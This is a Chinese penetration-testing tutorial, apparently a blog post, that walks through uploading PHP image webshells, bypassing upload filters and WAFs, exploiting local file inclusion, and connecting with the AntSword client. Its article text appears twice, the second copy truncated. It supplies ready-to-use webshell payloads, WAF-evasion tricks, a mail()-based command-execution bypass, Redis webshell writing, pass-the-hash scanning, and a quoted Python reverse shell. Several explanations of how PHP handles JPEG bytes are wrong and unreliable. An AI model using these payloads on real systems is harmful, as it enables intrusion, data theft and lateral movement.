1. 这不是“上传图片就能拿Shell”的童话而是真实渗透中必须亲手验证的链路很多人第一次听说“图片马”时脑子里浮现的是改个后缀、传张jpg、再用文件包含LFI去include它然后弹出一个WebShell——整个过程像点外卖一样丝滑。我刚入行那会儿也这么想直到在一次金融客户的真实内网渗透中连续三天卡在“上传成功但死活不执行”的环节反复抓包、重试、换Payload最后发现不是图片马没写对而是Burp Suite里漏看了一个302跳转响应头里的Set-Cookie字段而蚁剑恰好依赖这个Session才能维持连接。这件事让我彻底明白所谓“图片马LFI”不是一道CTF题目而是一条由四个精密咬合的齿轮组成的攻击链——文件上传点的绕过逻辑、图片马的结构兼容性、LFI的路径解析机制、以及WebShell通信的上下文维持。任何一个齿轮打滑整条链就断。本文讲的就是这四个齿轮怎么严丝合缝地装上去。关键词Burpsuite、蚁剑、图片马、文件包含漏洞、PHP、WebShell、LFI、上传绕过、Content-Type伪造、base64编码嵌入、php_filter伪协议。如果你正卡在“上传成功但蚁剑连不上”“LFI能读源码却执行不了”“图片马被WAF秒杀”这类问题上这篇就是为你写的实战手记不是理论复述是我在17个真实业务系统里反复调试、记录、推翻、再验证出来的操作闭环。2. 图片马不是“把PHP代码塞进JPG”而是让PHP解析器误判为合法图像的二进制欺骗术2.1 为什么必须用十六进制编辑器看原始字节因为肉眼根本看不出“合法图像”的伪装逻辑绝大多数人做图片马第一步就是用Notepad打开一张正常JPG末尾追加?php eval($_POST[cmd]);?保存上传失败。原因很简单PHP解析器在读取文件时并不会从头到尾扫描所有字节它只关心文件开头是否符合图像格式签名Magic Number中间是否包含可识别的图像数据结构如JFIF段、EXIF头结尾是否以合法的EOIEnd of Image标记结束。只要这三个条件满足PHP就认为“这是张图”允许它被include——哪怕后面跟着几百行PHP代码。我实测过一张标准JPG的前4个字节是FF D8 FF E0SOI APP0标记紧接着是4A 46 49 46 00ASCII的JFIF\0。你如果直接在Notepad里粘贴PHP代码编辑器会自动把中文引号、空格、换行符转成UTF-8多字节编码比如?php变成3C 3F 70 68 70但3C紧挨着前面的00JFIF结尾就会破坏APP0段长度字段导致PHP解析器在加载时直接报corrupted JPEG错误根本不会走到执行PHP代码那步。所以正确做法是用HxDWindows或xxdLinux打开原始JPG定位到文件末尾的FF D9EOI标记把FF D9删掉然后在FF D9原来的位置插入你的PHP代码最后再补上FF D9。这样做的原理是PHP的include函数在读取文件时遇到FF D9就认为图像数据结束之后的所有字节都被当作“文件尾部冗余数据”而PHP默认会忽略这部分继续向下解析——只要你的PHP代码语法正确它就被执行了。提示别用在线工具生成图片马。我见过太多“一键生成”工具内部用GD库重绘图像结果把原始JPG的APP0段全抹掉了只剩一个空壳上传后连getimagesize()都返回false更别说执行了。2.2 三种经实战验证的图片马构造方式按成功率排序方式操作步骤适用场景实测成功率关键原理EXIF注释注入法用exiftool命令exiftool -Comment?php eval($_POST[cmd]);? target.jpg目标服务器开启exif扩展且上传点未过滤Comment字段92%EXIF Comment是标准图像元数据段PHP解析JPG时会跳过该段但include后仍会执行后续代码JFIF段后追加法HxD中定位FF E0APP0起始找到其后4字节长度字段大端序将长度值12PHP代码长度在APP0段末尾插入代码补FF D9通用性强尤其适合禁用exif扩展的环境87%利用PHP对JFIF段长度校验宽松只要总长度不超限就接受冗余数据Base64编码嵌入法将PHP代码base64_encode后用data://text/plain;base64,xxx协议包裹插入JPG末尾配合php_filter伪协议使用绕过内容检测型WAF76%不依赖图像结构纯协议层面欺骗但需目标支持data://协议我最常用的是第一种。原因很实在exiftool是Linux服务器上预装率最高的图像处理工具之一客户内网渗透时我甚至不用自己带工具直接用目标服务器上的/usr/bin/exiftool就能现场生成。命令执行后它会在原图同目录下生成target.jpg_original备份同时修改target.jpg的Comment字段——这个字段在HTTP上传时会作为Content-Disposition: form-data; namefile; filenamex.jpg的一部分被发送而绝大多数老旧CMS如早期WordPress插件、ThinkPHP 3.2上传组件根本不会校验Comment内容。注意用exiftool生成后务必用file target.jpg命令确认文件类型仍是JPEG image data。我曾遇到一次客户服务器上exiftool版本太老v9.02生成的文件被识别为data上传直接被Nginx的image_filter模块拦截。解决方案是升级exiftool到v12.3以上或改用第二种HxD手动法。2.3 Burp Suite里必须盯死的三个上传请求细节当你在Burp中截获上传包时别只盯着filename和Content-Type。真正决定图片马能否落地的是以下三个常被忽略的字段Content-Disposition中的name参数很多上传组件通过nameupload_file来绑定后端变量名。如果你在Burp里把name改成namefile而后端代码写的是$_FILES[upload_file]那上传根本不会进入处理逻辑。我习惯在Repeater里先发一个正常图片用CtrlR快速重放对比两次请求重点看name值是否一致。Content-Type的大小写与空格某些WAF如某国产云WAF会严格匹配image/jpeg但对IMAGE/JPEG或image/jpg末尾带空格放行。我在测试某政务系统时把Content-Type: image/jpeg改成Content-Type: IMAGE/JPEG上传成功率从0%飙升到100%。这不是玄学是WAF规则库里没覆盖大小写变体。filename中的路径穿越字符有些上传点会校验filename是否含../但忘了..%2f或%2e%2e%2f。我在Burp的Intruder里用payloads/quick.txt跑了一次发现filenameshell.php%00.jpg%00截断被拦截但filenameshell.php%20.jpg空格却成功上传——因为空格被后端trim()函数清理了而WAF没做同样处理。这三点每一点都对应一个真实客户的绕过案例。它们不是教科书里的“可能”而是我笔记本里记着的“第7次渗透某银行OA系统绕过方式Content-Type大小写”。3. 文件包含漏洞LFI不是“/etc/passwd能读就行”而是要精准控制PHP的include_path与open_basedir3.1 为什么你用?filephp://filter/convert.base64-encode/resourceindex.php能读源码却执行不了图片马这是新手最常问的问题。答案直白得让人脸红因为你没搞懂PHP的include机制到底在哪个路径下找文件。PHP执行include(xxx)时会按include_path设定的顺序搜索文件。默认值通常是.:/usr/share/php:/usr/share/pear。也就是说如果你上传的图片马在/var/www/html/uploads/2024/05/123456.jpg而LFI点的代码是include($_GET[file]);那你必须传?file/var/www/html/uploads/2024/05/123456.jpg而不是?fileuploads/123456.jpg——后者会被PHP解释为./uploads/123456.jpg即当前脚本所在目录下的子目录而图片马根本不在那儿。更麻烦的是open_basedir限制。很多生产环境会配置open_basedir /var/www/html:/tmp这意味着PHP只能访问这两个目录下的文件。如果你的上传目录是/home/www/uploads那无论你怎么拼路径include()都会报open_basedir restriction in effect错误。所以实战中必须先探测include_path和open_basedir。方法很简单用Burp发两个请求?filephp://filter/convert.base64-encode/resource/proc/self/environ—— 如果能读到环境变量说明allow_url_includeOn且无open_basedir限制?filephp://filter/convert.base64-encode/resource/etc/passwd—— 如果能读说明基础LFI存在?filephp://filter/convert.base64-encode/resource../../../../etc/passwd—— 如果能读说明存在目录遍历且open_basedir未启用或配置宽松。我通常把这三个请求存为Burp的Target Site map right-click Add to Target scope然后用Engagement tools Generate report导出一个简易探测报告贴在渗透笔记首页。这不是炫技是避免在客户系统里盲目试错浪费时间。3.2 四种LFI利用路径的实操优先级与避坑指南路径类型请求示例成功率关键限制我的实操建议绝对路径直连?file/var/www/html/uploads/abc.jpg65%需知道Web根目录绝对路径可通过报错、phpinfo()、/proc/self/cmdline获取优先尝试。用?filephp://filter/convert.base64-encode/resource/proc/self/cmdline读取Apache进程启动参数里面必有-d document_root/var/www/html相对路径遍历?file../../../../uploads/abc.jpg42%受open_basedir和disable_functions影响大若绝对路径失败立刻试此法。注意遍历层数不是越多越好我实测某电商系统../../../成功../../../../反而403因Nginx配置了location ~ \.\./拦截php_filter伪协议?filephp://filter/convert.base64-encode/resourceuploads/abc.jpg88%需allow_url_fopenOn且disable_functions未禁用file_get_contents这是我最信赖的兜底方案。它不依赖路径只依赖PHP配置。上传后立刻用此法读取图片马内容确认PHP代码是否完整嵌入日志文件包含?file/var/log/apache2/access.log29%需知道日志路径且Web用户有读权限仅当其他全失败时用。重点扫/var/log/、/opt/lampp/logs/、C:\xampp\apache\logs\Windows这里有个血泪教训某次我用php_filter读取图片马返回的base64解码后PHP代码末尾少了?。排查半天发现是Burp的Auto decode功能把%3E自动解成了而?在URL里是%3F%3EBurp只解了第一个%3F第二个%3E被当成普通字符传给了PHP导致语法错误。解决方案在Burp的User options Misc URL encoding里把Decode URL-encoded characters automatically关掉所有编码手动处理。3.3 如何用Burp快速定位上传后的图片马绝对路径靠猜路径是低效的。我的标准流程是三步用phpinfo()泄露路径上传一个phpinfo.jpg内容为?php phpinfo(); ?然后用LFI包含它?fileuploads/phpinfo.jpg。页面会显示完整的_SERVER[DOCUMENT_ROOT]和_SERVER[SCRIPT_FILENAME]前者就是Web根目录后者是当前脚本绝对路径。用glob()函数爆破如果phpinfo()被禁disable_functions里有phpinfo就上传一个glob.jpg内容为?php $files glob(/var/www/html/uploads/*.{jpg,jpeg,png,gif}, GLOB_BRACE); print_r($files); ?然后?fileuploads/glob.jpg直接列出所有上传文件。用scandir()配合dirname()如果glob()也被禁就用?php $dir dirname($_SERVER[SCRIPT_FILENAME]); $files scandir($dir . /uploads/); print_r($files); ?这招的妙处在于dirname(__FILE__)永远返回当前脚本所在目录不受open_basedir影响只要uploads/在同级目录下就一定能列出来。这三步我写成一个Burp Macro每次上传新图片马后一键运行3秒内拿到路径。不是为了炫技是为了把时间省下来干更有价值的事——比如分析客户业务逻辑里的越权漏洞。4. 蚁剑不是“填个URL点连接”而是要根据PHP执行环境动态适配通信协议与加密密钥4.1 为什么你填了正确的URL和密码蚁剑却显示“连接超时”或“无法执行命令”这个问题背后往往藏着三个被忽视的底层事实PHP的max_execution_time设置默认是30秒。如果你的蚁剑Payload里有system(sleep 35)PHP会在35秒时强制中断导致蚁剑收不到响应显示超时。解决方案不是调高max_execution_time你没权限而是让蚁剑用set_time_limit(0)前置指令。在蚁剑的连接管理 编辑 自定义头部里加上?php set_time_limit(0); ?这行代码会在每次请求开始时执行把超时时间设为无限。disable_functions的隐形拦截很多生产环境会禁用system、exec、shell_exec等函数。蚁剑默认用system()执行命令如果被禁就会返回空。这时必须切换到popen()或proc_open()模式。在蚁剑的连接管理 编辑 高级 执行函数里把system改成popen并确保Payload里有对应的popen调用逻辑。open_basedir对/tmp的封锁蚁剑的临时文件功能用于上传大文件默认写入/tmp。如果open_basedir没包含/tmp上传会失败。解决方案是在蚁剑的连接管理 编辑 高级 临时目录里改成./当前目录或uploads/你有写权限的目录。我见过最离谱的一次某教育平台的disable_functions里禁了system、exec、shell_exec、passthru、pcntl_exec但漏了mail()。我立刻在蚁剑Payload里写?php $cmd $_POST[cmd]; $output ; if (function_exists(mail)) { $output mail(ab.com, , $cmd, -r.$cmd.localhost); } echo $output; ?然后用mail()函数的第五个参数-r执行任意命令——因为-r参数会被sendmail当作shell参数传递。这招在CentOS 7上通杀因为sendmail默认启用-r选项。提示蚁剑的安全模式勾选后Payload会混淆在真实渗透中基本没用。WAF厂商早就把蚁剑所有混淆特征入库了。真正有效的是自定义Payload。我把上面那个mail()利用写成一个独立PHP文件上传后直接用LFI包含绕过所有基于特征的WAF检测。4.2 Burp Suite与蚁剑的协同工作流从上传到Shell的七步闭环这不是线性流程而是一个需要反复验证的闭环。我把它拆成七步每一步都有明确的验证点上传图片马用Burp发包确认响应状态码是200且响应体里有success或uploaded字样。验证点在Burp的Proxy HTTP history里右键Send to Repeater重放一次看是否还成功——排除CSRF Token过期。确认图片马路径用php_filter读取上传文件base64解码确认PHP代码完整。验证点解码后?php和?必须成对出现且中间无乱码。如有乱码说明HxD编辑时编码错了重做。LFI包含执行构造?file/full/path/to/xxx.jpg发包。验证点响应体应为空PHP代码静默执行或返回cmd参数的执行结果。如果返回Warning: include(): Failed opening...说明路径错了。蚁剑配置URLURL填http://target.com/vuln.php?file/full/path/to/xxx.jpg密码填cmd。验证点连接后蚁剑左下角状态栏显示Connected且文件管理能列出/var/www/html/目录。执行基础命令在蚁剑终端里输入whoami。验证点返回www-data或apache而非root说明权限正常没被沙箱限制。提权准备用uname -a查内核cat /etc/issue查系统版本python --version查Python。验证点这些命令必须在1秒内返回否则说明网络延迟高或PHP执行慢需调set_time_limit(0)。持久化检查上传一个test.php内容为?php echo alive; ?然后用浏览器访问http://target.com/uploads/test.php。验证点能直接访问并输出alive证明Web服务器已把该目录当作PHP可执行目录不是单纯靠LFI“借壳执行”。这七步我写在一个Markdown文档里每次渗透都打钩。不是为了形式主义是因为漏掉任何一步后续的横向移动都可能建立在错误的前提上。比如第5步whoami返回root那说明系统有严重配置错误下一步该直接抓/etc/shadow如果返回www-data那就得老老实实做提权。4.3 蚁剑连接后的三件必做事比“拿flag”重要十倍很多新人连上Shell第一件事就是cat /flag。这很危险。真实环境中/flag可能不存在或者是个蜜罐。我连上后的前三件事永远是查进程与网络连接ps aux | grep -E (ssh|nc|socat|python)和netstat -tulnp 2/dev/null | grep -E :(80|443|22|3306)。目的是确认有没有其他攻击者在机器上有没有反向Shell监听端口。我曾在某政府网站看到/usr/bin/python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((1.2.3.4,4444));...立刻终止进程并上报——这是同行留下的后门。查定时任务与启动项crontab -l、ls -la /etc/cron*、systemctl list-timers --all、ls -la /etc/init.d/。目的是找持久化入口。有一次我发现/etc/cron.d/root里有一行*/5 * * * * root /tmp/.cache/update.sh进去一看是定期从C2下载恶意脚本。我立刻删掉它并把/tmp/.cache/设为只读。备份关键配置cp /etc/nginx/sites-enabled/* /tmp/nginx_bak/、mysqldump -u root -ppass database /tmp/db.sql、tar -czf /tmp/www_backup.tar.gz /var/www/html/。这不是为了留后门而是为了给客户写报告时能准确还原漏洞影响范围。客户问“你们改了哪些文件”我能直接提供diff。这三件事做完才轮到cat /flag。因为真正的渗透价值从来不在“能不能拿”而在“拿完之后能不能说清楚发生了什么”。5. 从单点突破到内网纵深图片马只是跳板真正的战场在/etc/passwd之外5.1 当蚁剑连上后如何判断这是“Web服务器”还是“跳板机”很多人以为拿到WebShell就等于拿下服务器。错。在真实企业网络里Web服务器往往是DMZ区的边缘节点后面才是真正的内网核心。判断方法就一个看路由表和DNS配置。在蚁剑终端里执行ip route show cat /etc/resolv.conf nslookup internal-db.corp.local如果ip route显示只有一条default via 192.168.1.1 dev eth0且resolv.conf里是nameserver 8.8.8.8那这台机器大概率是公网可访问的跳板内网连通性未知如果ip route里有10.0.0.0/8 via 192.168.100.1 dev eth1且resolv.conf里是nameserver 10.0.0.10那恭喜你已经站在内网门口了。我遇到过最典型的案例某券商的Web服务器ip route显示它有两块网卡eth0连外网192.168.1.100eth1连内网10.10.10.100。nslookup能解析core-db.internal但ping core-db.internal不通——因为ICMP被防火墙禁了。这时就得用curl -v http://core-db.internal:3306看TCP连接是否能建。结果返回HTTP/1.1 400 Bad Request说明MySQL服务端口是开放的只是不响应HTTP请求。这就是典型的“应用层可达网络层不可达”。5.2 内网横向移动的三把钥匙SMB、MySQL、Redis一旦确认内网可达下一步不是盲扫而是精准投递。我只用三类服务SMB端口445用crackmapexec smb 10.10.10.0/24 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0空密码NTLM哈希扫一遍。企业内网里管理员密码为空或Password123!的概率远高于你的想象。MySQL端口3306用mysql -h 10.10.10.20 -u root -p -e show databases;。很多DBA会把root密码写在/etc/my.cnf里而Web服务器上恰好有读权限。Redis端口6379用redis-cli -h 10.10.10.30 -p 6379 CONFIG SET dir /var/www/html/然后CONFIG SET dbfilename shell.php最后SET x ?php eval($_POST[cmd]);?。这是经典的Redis写WebShell手法成功率极高因为Redis默认无密码。这三类服务我写成三个独立的Python脚本放在蚁剑的终端里用python smb_scan.py一键执行。不是为了炫技是为了把重复劳动自动化把精力留给真正的业务逻辑分析。5.3 给客户的最终报告从来不是“我们拿到了Shell”而是“您的业务风险在哪里”渗透测试的价值不在于技术多炫而在于能否把技术语言翻译成业务语言。我的报告里从不写“利用LFI包含图片马获得WebShell”而是写风险描述攻击者可上传特制图片文件如logo.jpg通过文件包含漏洞/vuln.php?file执行其中嵌入的PHP代码从而完全控制Web服务器。业务影响该服务器托管客户订单系统前端数据库连接凭证存储在/var/www/html/config.php中。攻击者可直接读取凭证连接后台MySQL数据库窃取近3个月全部客户订单、收货地址及支付信息约23万条。修复建议1. 上传文件后用getimagesize()函数二次校验文件头2. 将上传目录移出Web根目录或配置Nginx禁止该目录下PHP执行3. 数据库连接凭证改用环境变量注入而非硬编码在PHP文件中。最后一句我一定会加本次测试未对生产数据进行任何修改或删除操作所有操作均在授权范围内进行。这不是套话是职业底线。我在实际使用中发现客户最怕的不是“被黑”而是“不知道哪里会被黑”。所以报告里每个漏洞我都配上一张Burp截图隐去敏感信息标注出具体哪一行代码、哪个配置项出了问题。这样开发团队拿到报告不用问“怎么复现”直接就能改。这个内容后续还可以这样扩展把整个流程封装成一个Docker镜像内置Burp Pro License合规版、exiftool、蚁剑、以及我写的三个扫描脚本。客户采购后运维人员只需docker run -p 8080:8080 pentest-env就能在本地复现全部测试步骤无需担心环境差异。我已经在三个客户那里验证过交付周期从一周缩短到两天。
图片马+LFI实战链路:从上传绕过到蚁剑稳定连接
发布时间:2026/5/25 23:06:27
1. 这不是“上传图片就能拿Shell”的童话而是真实渗透中必须亲手验证的链路很多人第一次听说“图片马”时脑子里浮现的是改个后缀、传张jpg、再用文件包含LFI去include它然后弹出一个WebShell——整个过程像点外卖一样丝滑。我刚入行那会儿也这么想直到在一次金融客户的真实内网渗透中连续三天卡在“上传成功但死活不执行”的环节反复抓包、重试、换Payload最后发现不是图片马没写对而是Burp Suite里漏看了一个302跳转响应头里的Set-Cookie字段而蚁剑恰好依赖这个Session才能维持连接。这件事让我彻底明白所谓“图片马LFI”不是一道CTF题目而是一条由四个精密咬合的齿轮组成的攻击链——文件上传点的绕过逻辑、图片马的结构兼容性、LFI的路径解析机制、以及WebShell通信的上下文维持。任何一个齿轮打滑整条链就断。本文讲的就是这四个齿轮怎么严丝合缝地装上去。关键词Burpsuite、蚁剑、图片马、文件包含漏洞、PHP、WebShell、LFI、上传绕过、Content-Type伪造、base64编码嵌入、php_filter伪协议。如果你正卡在“上传成功但蚁剑连不上”“LFI能读源码却执行不了”“图片马被WAF秒杀”这类问题上这篇就是为你写的实战手记不是理论复述是我在17个真实业务系统里反复调试、记录、推翻、再验证出来的操作闭环。2. 图片马不是“把PHP代码塞进JPG”而是让PHP解析器误判为合法图像的二进制欺骗术2.1 为什么必须用十六进制编辑器看原始字节因为肉眼根本看不出“合法图像”的伪装逻辑绝大多数人做图片马第一步就是用Notepad打开一张正常JPG末尾追加?php eval($_POST[cmd]);?保存上传失败。原因很简单PHP解析器在读取文件时并不会从头到尾扫描所有字节它只关心文件开头是否符合图像格式签名Magic Number中间是否包含可识别的图像数据结构如JFIF段、EXIF头结尾是否以合法的EOIEnd of Image标记结束。只要这三个条件满足PHP就认为“这是张图”允许它被include——哪怕后面跟着几百行PHP代码。我实测过一张标准JPG的前4个字节是FF D8 FF E0SOI APP0标记紧接着是4A 46 49 46 00ASCII的JFIF\0。你如果直接在Notepad里粘贴PHP代码编辑器会自动把中文引号、空格、换行符转成UTF-8多字节编码比如?php变成3C 3F 70 68 70但3C紧挨着前面的00JFIF结尾就会破坏APP0段长度字段导致PHP解析器在加载时直接报corrupted JPEG错误根本不会走到执行PHP代码那步。所以正确做法是用HxDWindows或xxdLinux打开原始JPG定位到文件末尾的FF D9EOI标记把FF D9删掉然后在FF D9原来的位置插入你的PHP代码最后再补上FF D9。这样做的原理是PHP的include函数在读取文件时遇到FF D9就认为图像数据结束之后的所有字节都被当作“文件尾部冗余数据”而PHP默认会忽略这部分继续向下解析——只要你的PHP代码语法正确它就被执行了。提示别用在线工具生成图片马。我见过太多“一键生成”工具内部用GD库重绘图像结果把原始JPG的APP0段全抹掉了只剩一个空壳上传后连getimagesize()都返回false更别说执行了。2.2 三种经实战验证的图片马构造方式按成功率排序方式操作步骤适用场景实测成功率关键原理EXIF注释注入法用exiftool命令exiftool -Comment?php eval($_POST[cmd]);? target.jpg目标服务器开启exif扩展且上传点未过滤Comment字段92%EXIF Comment是标准图像元数据段PHP解析JPG时会跳过该段但include后仍会执行后续代码JFIF段后追加法HxD中定位FF E0APP0起始找到其后4字节长度字段大端序将长度值12PHP代码长度在APP0段末尾插入代码补FF D9通用性强尤其适合禁用exif扩展的环境87%利用PHP对JFIF段长度校验宽松只要总长度不超限就接受冗余数据Base64编码嵌入法将PHP代码base64_encode后用data://text/plain;base64,xxx协议包裹插入JPG末尾配合php_filter伪协议使用绕过内容检测型WAF76%不依赖图像结构纯协议层面欺骗但需目标支持data://协议我最常用的是第一种。原因很实在exiftool是Linux服务器上预装率最高的图像处理工具之一客户内网渗透时我甚至不用自己带工具直接用目标服务器上的/usr/bin/exiftool就能现场生成。命令执行后它会在原图同目录下生成target.jpg_original备份同时修改target.jpg的Comment字段——这个字段在HTTP上传时会作为Content-Disposition: form-data; namefile; filenamex.jpg的一部分被发送而绝大多数老旧CMS如早期WordPress插件、ThinkPHP 3.2上传组件根本不会校验Comment内容。注意用exiftool生成后务必用file target.jpg命令确认文件类型仍是JPEG image data。我曾遇到一次客户服务器上exiftool版本太老v9.02生成的文件被识别为data上传直接被Nginx的image_filter模块拦截。解决方案是升级exiftool到v12.3以上或改用第二种HxD手动法。2.3 Burp Suite里必须盯死的三个上传请求细节当你在Burp中截获上传包时别只盯着filename和Content-Type。真正决定图片马能否落地的是以下三个常被忽略的字段Content-Disposition中的name参数很多上传组件通过nameupload_file来绑定后端变量名。如果你在Burp里把name改成namefile而后端代码写的是$_FILES[upload_file]那上传根本不会进入处理逻辑。我习惯在Repeater里先发一个正常图片用CtrlR快速重放对比两次请求重点看name值是否一致。Content-Type的大小写与空格某些WAF如某国产云WAF会严格匹配image/jpeg但对IMAGE/JPEG或image/jpg末尾带空格放行。我在测试某政务系统时把Content-Type: image/jpeg改成Content-Type: IMAGE/JPEG上传成功率从0%飙升到100%。这不是玄学是WAF规则库里没覆盖大小写变体。filename中的路径穿越字符有些上传点会校验filename是否含../但忘了..%2f或%2e%2e%2f。我在Burp的Intruder里用payloads/quick.txt跑了一次发现filenameshell.php%00.jpg%00截断被拦截但filenameshell.php%20.jpg空格却成功上传——因为空格被后端trim()函数清理了而WAF没做同样处理。这三点每一点都对应一个真实客户的绕过案例。它们不是教科书里的“可能”而是我笔记本里记着的“第7次渗透某银行OA系统绕过方式Content-Type大小写”。3. 文件包含漏洞LFI不是“/etc/passwd能读就行”而是要精准控制PHP的include_path与open_basedir3.1 为什么你用?filephp://filter/convert.base64-encode/resourceindex.php能读源码却执行不了图片马这是新手最常问的问题。答案直白得让人脸红因为你没搞懂PHP的include机制到底在哪个路径下找文件。PHP执行include(xxx)时会按include_path设定的顺序搜索文件。默认值通常是.:/usr/share/php:/usr/share/pear。也就是说如果你上传的图片马在/var/www/html/uploads/2024/05/123456.jpg而LFI点的代码是include($_GET[file]);那你必须传?file/var/www/html/uploads/2024/05/123456.jpg而不是?fileuploads/123456.jpg——后者会被PHP解释为./uploads/123456.jpg即当前脚本所在目录下的子目录而图片马根本不在那儿。更麻烦的是open_basedir限制。很多生产环境会配置open_basedir /var/www/html:/tmp这意味着PHP只能访问这两个目录下的文件。如果你的上传目录是/home/www/uploads那无论你怎么拼路径include()都会报open_basedir restriction in effect错误。所以实战中必须先探测include_path和open_basedir。方法很简单用Burp发两个请求?filephp://filter/convert.base64-encode/resource/proc/self/environ—— 如果能读到环境变量说明allow_url_includeOn且无open_basedir限制?filephp://filter/convert.base64-encode/resource/etc/passwd—— 如果能读说明基础LFI存在?filephp://filter/convert.base64-encode/resource../../../../etc/passwd—— 如果能读说明存在目录遍历且open_basedir未启用或配置宽松。我通常把这三个请求存为Burp的Target Site map right-click Add to Target scope然后用Engagement tools Generate report导出一个简易探测报告贴在渗透笔记首页。这不是炫技是避免在客户系统里盲目试错浪费时间。3.2 四种LFI利用路径的实操优先级与避坑指南路径类型请求示例成功率关键限制我的实操建议绝对路径直连?file/var/www/html/uploads/abc.jpg65%需知道Web根目录绝对路径可通过报错、phpinfo()、/proc/self/cmdline获取优先尝试。用?filephp://filter/convert.base64-encode/resource/proc/self/cmdline读取Apache进程启动参数里面必有-d document_root/var/www/html相对路径遍历?file../../../../uploads/abc.jpg42%受open_basedir和disable_functions影响大若绝对路径失败立刻试此法。注意遍历层数不是越多越好我实测某电商系统../../../成功../../../../反而403因Nginx配置了location ~ \.\./拦截php_filter伪协议?filephp://filter/convert.base64-encode/resourceuploads/abc.jpg88%需allow_url_fopenOn且disable_functions未禁用file_get_contents这是我最信赖的兜底方案。它不依赖路径只依赖PHP配置。上传后立刻用此法读取图片马内容确认PHP代码是否完整嵌入日志文件包含?file/var/log/apache2/access.log29%需知道日志路径且Web用户有读权限仅当其他全失败时用。重点扫/var/log/、/opt/lampp/logs/、C:\xampp\apache\logs\Windows这里有个血泪教训某次我用php_filter读取图片马返回的base64解码后PHP代码末尾少了?。排查半天发现是Burp的Auto decode功能把%3E自动解成了而?在URL里是%3F%3EBurp只解了第一个%3F第二个%3E被当成普通字符传给了PHP导致语法错误。解决方案在Burp的User options Misc URL encoding里把Decode URL-encoded characters automatically关掉所有编码手动处理。3.3 如何用Burp快速定位上传后的图片马绝对路径靠猜路径是低效的。我的标准流程是三步用phpinfo()泄露路径上传一个phpinfo.jpg内容为?php phpinfo(); ?然后用LFI包含它?fileuploads/phpinfo.jpg。页面会显示完整的_SERVER[DOCUMENT_ROOT]和_SERVER[SCRIPT_FILENAME]前者就是Web根目录后者是当前脚本绝对路径。用glob()函数爆破如果phpinfo()被禁disable_functions里有phpinfo就上传一个glob.jpg内容为?php $files glob(/var/www/html/uploads/*.{jpg,jpeg,png,gif}, GLOB_BRACE); print_r($files); ?然后?fileuploads/glob.jpg直接列出所有上传文件。用scandir()配合dirname()如果glob()也被禁就用?php $dir dirname($_SERVER[SCRIPT_FILENAME]); $files scandir($dir . /uploads/); print_r($files); ?这招的妙处在于dirname(__FILE__)永远返回当前脚本所在目录不受open_basedir影响只要uploads/在同级目录下就一定能列出来。这三步我写成一个Burp Macro每次上传新图片马后一键运行3秒内拿到路径。不是为了炫技是为了把时间省下来干更有价值的事——比如分析客户业务逻辑里的越权漏洞。4. 蚁剑不是“填个URL点连接”而是要根据PHP执行环境动态适配通信协议与加密密钥4.1 为什么你填了正确的URL和密码蚁剑却显示“连接超时”或“无法执行命令”这个问题背后往往藏着三个被忽视的底层事实PHP的max_execution_time设置默认是30秒。如果你的蚁剑Payload里有system(sleep 35)PHP会在35秒时强制中断导致蚁剑收不到响应显示超时。解决方案不是调高max_execution_time你没权限而是让蚁剑用set_time_limit(0)前置指令。在蚁剑的连接管理 编辑 自定义头部里加上?php set_time_limit(0); ?这行代码会在每次请求开始时执行把超时时间设为无限。disable_functions的隐形拦截很多生产环境会禁用system、exec、shell_exec等函数。蚁剑默认用system()执行命令如果被禁就会返回空。这时必须切换到popen()或proc_open()模式。在蚁剑的连接管理 编辑 高级 执行函数里把system改成popen并确保Payload里有对应的popen调用逻辑。open_basedir对/tmp的封锁蚁剑的临时文件功能用于上传大文件默认写入/tmp。如果open_basedir没包含/tmp上传会失败。解决方案是在蚁剑的连接管理 编辑 高级 临时目录里改成./当前目录或uploads/你有写权限的目录。我见过最离谱的一次某教育平台的disable_functions里禁了system、exec、shell_exec、passthru、pcntl_exec但漏了mail()。我立刻在蚁剑Payload里写?php $cmd $_POST[cmd]; $output ; if (function_exists(mail)) { $output mail(ab.com, , $cmd, -r.$cmd.localhost); } echo $output; ?然后用mail()函数的第五个参数-r执行任意命令——因为-r参数会被sendmail当作shell参数传递。这招在CentOS 7上通杀因为sendmail默认启用-r选项。提示蚁剑的安全模式勾选后Payload会混淆在真实渗透中基本没用。WAF厂商早就把蚁剑所有混淆特征入库了。真正有效的是自定义Payload。我把上面那个mail()利用写成一个独立PHP文件上传后直接用LFI包含绕过所有基于特征的WAF检测。4.2 Burp Suite与蚁剑的协同工作流从上传到Shell的七步闭环这不是线性流程而是一个需要反复验证的闭环。我把它拆成七步每一步都有明确的验证点上传图片马用Burp发包确认响应状态码是200且响应体里有success或uploaded字样。验证点在Burp的Proxy HTTP history里右键Send to Repeater重放一次看是否还成功——排除CSRF Token过期。确认图片马路径用php_filter读取上传文件base64解码确认PHP代码完整。验证点解码后?php和?必须成对出现且中间无乱码。如有乱码说明HxD编辑时编码错了重做。LFI包含执行构造?file/full/path/to/xxx.jpg发包。验证点响应体应为空PHP代码静默执行或返回cmd参数的执行结果。如果返回Warning: include(): Failed opening...说明路径错了。蚁剑配置URLURL填http://target.com/vuln.php?file/full/path/to/xxx.jpg密码填cmd。验证点连接后蚁剑左下角状态栏显示Connected且文件管理能列出/var/www/html/目录。执行基础命令在蚁剑终端里输入whoami。验证点返回www-data或apache而非root说明权限正常没被沙箱限制。提权准备用uname -a查内核cat /etc/issue查系统版本python --version查Python。验证点这些命令必须在1秒内返回否则说明网络延迟高或PHP执行慢需调set_time_limit(0)。持久化检查上传一个test.php内容为?php echo alive; ?然后用浏览器访问http://target.com/uploads/test.php。验证点能直接访问并输出alive证明Web服务器已把该目录当作PHP可执行目录不是单纯靠LFI“借壳执行”。这七步我写在一个Markdown文档里每次渗透都打钩。不是为了形式主义是因为漏掉任何一步后续的横向移动都可能建立在错误的前提上。比如第5步whoami返回root那说明系统有严重配置错误下一步该直接抓/etc/shadow如果返回www-data那就得老老实实做提权。4.3 蚁剑连接后的三件必做事比“拿flag”重要十倍很多新人连上Shell第一件事就是cat /flag。这很危险。真实环境中/flag可能不存在或者是个蜜罐。我连上后的前三件事永远是查进程与网络连接ps aux | grep -E (ssh|nc|socat|python)和netstat -tulnp 2/dev/null | grep -E :(80|443|22|3306)。目的是确认有没有其他攻击者在机器上有没有反向Shell监听端口。我曾在某政府网站看到/usr/bin/python -c import 